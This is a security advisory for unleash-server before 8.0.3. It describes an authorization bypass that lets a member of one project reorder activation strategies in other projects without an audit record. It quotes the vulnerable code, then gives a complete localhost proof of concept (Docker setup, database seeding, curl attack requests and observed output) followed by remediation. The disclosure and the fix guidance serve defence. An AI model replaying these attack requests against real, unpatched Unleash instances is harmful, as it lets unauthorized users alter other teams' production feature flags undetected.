GHSA-5ffh-6f9q-5hhr
Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | unleash-server | < 8.0.3 | 8.0.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
Unleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.
The sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy "wins" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the *attacker's* project/feature context, so the tampering does not appear in the victim project's audit trail.
## Affected code (v8.0.0)
The route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the "context" plus the raw request body:
`src/lib/features/feature-toggle/feature-toggle-controller.ts`
```ts
{
method: 'post',
path: `${PATH_STRATEGIES}/set-sort-order`,
handler: this.setStrategiesSortOrder,
permission: UPDATE_FEATURE_STRATEGY,
// ...
}
async setStrategiesSortOrder(req, res): Promise<void> {
const { featureName, projectId, environment } = req.params;
await this.transactionalFeatureToggleService.transactional((service) =>
service.updateStrategiesSortOrder(
{ featureName, environment, projectId }, // URL context only
req.body, // attacker-controlled [{id, sortOrder}]
req.audit,
),
);
res.status(200).send();
}
```
The service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:
`src/lib/features/feature-toggle/feature-toggle-service.ts`
```ts
async unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise<Saved<any>> {
const { featureName, environment, projectId: project } = context;
const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))
.sort(sortStrategies).map((s) => s.id);
// ...
await Promise.all(
sortOrders.map(({ id, sortOrder }) =>
this.featureStrategiesStore.updateSortOrder(id, sortOrder), // NO project/feature/env check
),
);
// ...event built from the URL context, not from the strategies actually mutated...
}
```
The store updates by primary key with no scoping predicate:
`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts`
```ts
async updateSortOrder(id: string, sortOrder: number): Promise<void> {
await this.db<IFeatureStrategiesTable>(T.featureStrategies)
.where({ id })
.update({ sort_order: sortOrder });
}
```
Contrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):
```ts
// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:
const existingStrategy = await this.featureStrategiesStore.get(id);
this.validateUpdatedProperties(context, existingStrategy); // <-- the check set-sort-order is missing
```
## Attacker model / precondition
The attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.
## Impact
A project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.
## Proof of Concept (complete — runs on 127.0.0.1 only)
Lab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.
### 1. Start PostgreSQL and Unleash v8.0.0
```bash
docker network create unleash-poc
docker run -d --name unleash-pg --network unleash-poc \
-e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \
postgres:16-alpine
sleep 8
docker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \
-e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \
-e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \
-e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \
unleashorg/unleash-server:8.0.0
sleep 25
curl -s http://127.0.0.1:4242/health # {"health":"GOOD"}
```
### 2. Simulate a Pro/Enterprise (multi-project) deployment
Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.
```bash
# Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment").
docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js
python3 - <<'PY'
s=open('/tmp/cc.js').read()
old=""" return testEnvironmentActive
? (isOssOption ?? false)
: !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';"""
assert old in s
s=s.replace(old," return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)")
open('/tmp/cc.js','w').write(s)
print("patched edition gate")
PY
docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js
docker restart unleash-srv && sleep 22
```
### 3. Seed two projects (`victim`, `attacker`) and link them to environments
```bash
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');"
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO project_environments (project_id, environment_name) VALUES
('victim','development'),('victim','production'),
('attacker','development'),('attacker','production');"
```
### 4. Create the victim feature with two strategies, and an attacker feature
```bash
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
H="-H Authorization:$ADMIN -H Content-Type:application/json"
curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null
S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
echo "victim strategies: S1=$S1 (sort 0) S2=$S2 (sort 1)"
curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null
curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' >/dev/null
```
### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)
```bash
# Viewer root role (id 3) -> no project write anywhere by default.
curl -s -X POST $H $B/api/admin/user-admin \
-d '{"email":"[email protected]","name":"Mallory","rootRole":3}' >/dev/null
curl -s -X POST $H $B/api/admin/user-admin/2/change-password \
-d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null
# Grant the project "Member" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');"
docker restart unleash-srv && sleep 22 # pick up the seeded role
```
### 6. Run the attack
```bash
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
CJ=/tmp/mallory.cookies; rm -f $CJ
# Log in as the low-priv user (Member of 'attacker' only).
curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \
$B/auth/simple/login -d '{"username":"[email protected]","password":"Str0ng-PoC-pass!9x"}'
show() { curl -s -H "Authorization:$ADMIN" \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
| python3 -c "import sys,json;[print(' ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }
echo '--- victim/production BEFORE ---'; show
echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":99}]"
echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"
echo '--- victim/production AFTER ---'; show
```
### Observed output
```
--- victim/production BEFORE ---
01KTYWRZM7ACCTQKPJJCXJB24R sort 0
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1
--- [negative control] Mallory -> VICTIM url directly (expect 403) ---
HTTP 403
--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---
HTTP 200
--- victim/production AFTER ---
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7
01KTYWRZM7ACCTQKPJJCXJB24R sort 42
```
The negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim's audit trail.
### Cleanup
```bash
docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc
```
## Remediation
In `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write — `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.
Please credit 5ud0 / Tarmo Technologies.
References
External links from the advisory. They lead to third-party sites.